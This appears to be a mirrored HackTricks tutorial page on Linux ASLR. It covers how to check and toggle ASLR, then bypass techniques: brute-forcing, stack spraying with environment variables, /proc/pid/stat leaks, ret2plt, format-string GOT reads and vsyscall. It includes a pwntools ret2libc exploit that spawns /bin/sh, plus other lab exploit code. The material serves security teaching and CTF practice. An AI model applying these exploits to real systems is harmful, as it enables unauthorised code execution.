mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 19:13:39 +00:00
332 lines
16 KiB
Markdown
332 lines
16 KiB
Markdown
# ASLR
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Basic Information
|
|
|
|
**Address Space Layout Randomization (ASLR)** is a security technique used in operating systems to **randomize the memory addresses** used by system and application processes. By doing so, it makes it significantly harder for an attacker to predict the location of specific processes and data, such as the stack, heap, and libraries, thereby mitigating certain types of exploits, particularly buffer overflows.
|
|
|
|
### **Checking ASLR Status**
|
|
|
|
To **check** the ASLR status on a Linux system, you can read the value from the **`/proc/sys/kernel/randomize_va_space`** file. The value stored in this file determines the type of ASLR being applied:
|
|
|
|
* **0**: No randomization. Everything is static.
|
|
* **1**: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized.
|
|
* **2**: Full randomization. In addition to elements randomized by conservative randomization, memory managed through `brk()` is randomized.
|
|
|
|
You can check the ASLR status with the following command:
|
|
|
|
```bash
|
|
cat /proc/sys/kernel/randomize_va_space
|
|
```
|
|
|
|
### **Disabling ASLR**
|
|
|
|
To **disable** ASLR, you set the value of `/proc/sys/kernel/randomize_va_space` to **0**. Disabling ASLR is generally not recommended outside of testing or debugging scenarios. Here's how you can disable it:
|
|
|
|
```bash
|
|
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
|
```
|
|
|
|
You can also disable ASLR for an execution with:
|
|
|
|
```bash
|
|
setarch `arch` -R ./bin args
|
|
setarch `uname -m` -R ./bin args
|
|
```
|
|
|
|
### **Enabling ASLR**
|
|
|
|
To **enable** ASLR, you can write a value of **2** to the `/proc/sys/kernel/randomize_va_space` file. This typically requires root privileges. Enabling full randomization can be done with the following command:
|
|
|
|
```bash
|
|
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
|
|
```
|
|
|
|
### **Persistence Across Reboots**
|
|
|
|
Changes made with the `echo` commands are temporary and will be reset upon reboot. To make the change persistent, you need to edit the `/etc/sysctl.conf` file and add or modify the following line:
|
|
|
|
```tsconfig
|
|
kernel.randomize_va_space=2 # Enable ASLR
|
|
# or
|
|
kernel.randomize_va_space=0 # Disable ASLR
|
|
```
|
|
|
|
After editing `/etc/sysctl.conf`, apply the changes with:
|
|
|
|
```bash
|
|
sudo sysctl -p
|
|
```
|
|
|
|
This will ensure that your ASLR settings remain across reboots.
|
|
|
|
## **Bypasses**
|
|
|
|
### 32bit brute-forcing
|
|
|
|
PaX divides the process address space into **3 groups**:
|
|
|
|
* **Code and data** (initialized and uninitialized): `.text`, `.data`, and `.bss` —> **16 bits** of entropy in the `delta_exec` variable. This variable is randomly initialized with each process and added to the initial addresses.
|
|
* **Memory** allocated by `mmap()` and **shared libraries** —> **16 bits**, named `delta_mmap`.
|
|
* **The stack** —> **24 bits**, referred to as `delta_stack`. However, it effectively uses **11 bits** (from the 10th to the 20th byte inclusive), aligned to **16 bytes** —> This results in **524,288 possible real stack addresses**.
|
|
|
|
The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully.
|
|
|
|
#### Brute-force ideas:
|
|
|
|
* If you have a big enough overflow to host a **big NOP sled before the shellcode**, you could just brute-force addresses in the stack until the flow **jumps over some part of the NOP sled**.
|
|
* Another option for this in case the overflow is not that big and the exploit can be run locally is possible to **add the NOP sled and shellcode in an environment variable**.
|
|
* If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
|
|
|
|
```python
|
|
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
|
```
|
|
|
|
* If attacking a remote server, you could try to **brute-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
|
|
|
|
{% hint style="success" %}
|
|
In 64bit systems the entropy is much higher and this shouldn't possible.
|
|
{% endhint %}
|
|
|
|
### 64 bits stack brute-forcing
|
|
|
|
It's possible to occupy a big part of the stack with env variables and then try to abuse the binary hundreds/thousands of times locally to exploit it.\
|
|
The following code shows how it's possible to **just select an address in the stack** and every **few hundreds of executions** that address will contain the **NOP instruction**:
|
|
|
|
```c
|
|
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
|
|
#include <stdio.h>
|
|
|
|
int main() {
|
|
unsigned long long address = 0xffffff1e7e38;
|
|
unsigned int* ptr = (unsigned int*)address;
|
|
unsigned int value = *ptr;
|
|
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
|
|
return 0;
|
|
}
|
|
```
|
|
|
|
```python
|
|
import subprocess
|
|
import traceback
|
|
|
|
# Start the process
|
|
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
|
|
n_nops = int(128000/4)
|
|
shellcode_env_var = nop * n_nops
|
|
|
|
# Define the environment variables you want to set
|
|
env_vars = {
|
|
'a': shellcode_env_var,
|
|
'b': shellcode_env_var,
|
|
'c': shellcode_env_var,
|
|
'd': shellcode_env_var,
|
|
'e': shellcode_env_var,
|
|
'f': shellcode_env_var,
|
|
'g': shellcode_env_var,
|
|
'h': shellcode_env_var,
|
|
'i': shellcode_env_var,
|
|
'j': shellcode_env_var,
|
|
'k': shellcode_env_var,
|
|
'l': shellcode_env_var,
|
|
'm': shellcode_env_var,
|
|
'n': shellcode_env_var,
|
|
'o': shellcode_env_var,
|
|
'p': shellcode_env_var,
|
|
}
|
|
|
|
cont = 0
|
|
while True:
|
|
cont += 1
|
|
|
|
if cont % 10000 == 0:
|
|
break
|
|
|
|
print(cont, end="\r")
|
|
# Define the path to your binary
|
|
binary_path = './aslr-testing'
|
|
|
|
try:
|
|
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
|
|
output = process.communicate()[0]
|
|
if "0xd5" in str(output):
|
|
print(str(cont) + " -> " + output)
|
|
except Exception as e:
|
|
print(e)
|
|
print(traceback.format_exc())
|
|
pass
|
|
```
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
|
|
|
|
### Local Information (`/proc/[pid]/stat`)
|
|
|
|
The file **`/proc/[pid]/stat`** of a process is always readable by everyone and it **contains interesting** information such as:
|
|
|
|
* **startcode** & **endcode**: Addresses above and below with the **TEXT** of the binary
|
|
* **startstack**: The address of the start of the **stack**
|
|
* **start\_data** & **end\_data**: Addresses above and below where the **BSS** is
|
|
* **kstkesp** & **kstkeip**: Current **ESP** and **EIP** addresses
|
|
* **arg\_start** & **arg\_end**: Addresses above and below where **cli arguments** are.
|
|
* **env\_start** &**env\_end**: Addresses above and below where **env variables** are.
|
|
|
|
Therefore, if the attacker is in the same computer as the binary being exploited and this binary doesn't expect the overflow from raw arguments, but from a different **input that can be crafted after reading this file**. It's possible for an attacker to **get some addresses from this file and construct offsets from them for the exploit**.
|
|
|
|
{% hint style="success" %}
|
|
For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat`
|
|
{% endhint %}
|
|
|
|
### Having a leak
|
|
|
|
* **The challenge is giving a leak**
|
|
|
|
If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details):
|
|
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln-32')
|
|
libc = elf.libc
|
|
p = process()
|
|
|
|
p.recvuntil('at: ')
|
|
system_leak = int(p.recvline(), 16)
|
|
|
|
libc.address = system_leak - libc.sym['system']
|
|
log.success(f'LIBC base: {hex(libc.address)}')
|
|
|
|
payload = flat(
|
|
'A' * 32,
|
|
libc.sym['system'],
|
|
0x0, # return address
|
|
next(libc.search(b'/bin/sh'))
|
|
)
|
|
|
|
p.sendline(payload)
|
|
|
|
p.interactive()
|
|
```
|
|
|
|
* **ret2plt**
|
|
|
|
Abusing a buffer overflow it would be possible to exploit a **ret2plt** to exfiltrate an address of a function from the libc. Check:
|
|
|
|
{% content-ref url="ret2plt.md" %}
|
|
[ret2plt.md](ret2plt.md)
|
|
{% endcontent-ref %}
|
|
|
|
* **Format Strings Arbitrary Read**
|
|
|
|
Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
|
|
|
|
```python
|
|
payload = p32(elf.got['puts']) # p64() if 64-bit
|
|
payload += b'|'
|
|
payload += b'%3$s' # The third parameter points at the start of the buffer
|
|
|
|
# this part is only relevant if you need to call the main function again
|
|
|
|
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
|
|
payload += p32(elf.symbols['main'])
|
|
```
|
|
|
|
You can find more info about Format Strings arbitrary read in:
|
|
|
|
{% content-ref url="../../format-strings/" %}
|
|
[format-strings](../../format-strings/)
|
|
{% endcontent-ref %}
|
|
|
|
### Ret2ret & Ret2pop
|
|
|
|
Try to bypass ASLR abusing addresses inside the stack:
|
|
|
|
{% content-ref url="ret2ret.md" %}
|
|
[ret2ret.md](ret2ret.md)
|
|
{% endcontent-ref %}
|
|
|
|
### vsyscall
|
|
|
|
The **`vsyscall`** mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of **vsyscalls** lies in their **fixed addresses**, which are not subject to **ASLR** (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.\
|
|
However, no super interesting gadgets will be find here (although for example it's possible to get a `ret;` equivalent)
|
|
|
|
(The following example and code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))
|
|
|
|
For instance, an attacker might use the address `0xffffffffff600800` within an exploit. While attempting to jump directly to a `ret` instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a `syscall` provided by the **vsyscall** section can prove successful. By carefully placing a **ROP** gadget that leads execution to this **vsyscall** address, an attacker can achieve code execution without needing to bypass **ASLR** for this part of the exploit.
|
|
|
|
```
|
|
ef➤ vmmap
|
|
Start End Offset Perm Path
|
|
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
|
|
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
|
|
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
|
|
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
|
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
|
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
|
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
|
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
|
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
|
|
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
|
|
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
|
|
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
|
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
|
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
|
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
|
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
|
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
|
|
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
|
|
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
|
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
|
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
|
|
gef➤ x/8g 0xffffffffff600000
|
|
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
|
|
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
|
|
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
|
|
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
|
|
gef➤ x/4i 0xffffffffff600800
|
|
0xffffffffff600800: mov rax,0x135
|
|
0xffffffffff600807: syscall
|
|
0xffffffffff600809: ret
|
|
0xffffffffff60080a: int3
|
|
gef➤ x/4i 0xffffffffff600800
|
|
0xffffffffff600800: mov rax,0x135
|
|
0xffffffffff600807: syscall
|
|
0xffffffffff600809: ret
|
|
0xffffffffff60080a: int3
|
|
```
|
|
|
|
### vDSO
|
|
|
|
Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG\_COMPAT\_VDSO as the vdso address won't be randomized. For more info check:
|
|
|
|
{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %}
|
|
[ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md)
|
|
{% endcontent-ref %}
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|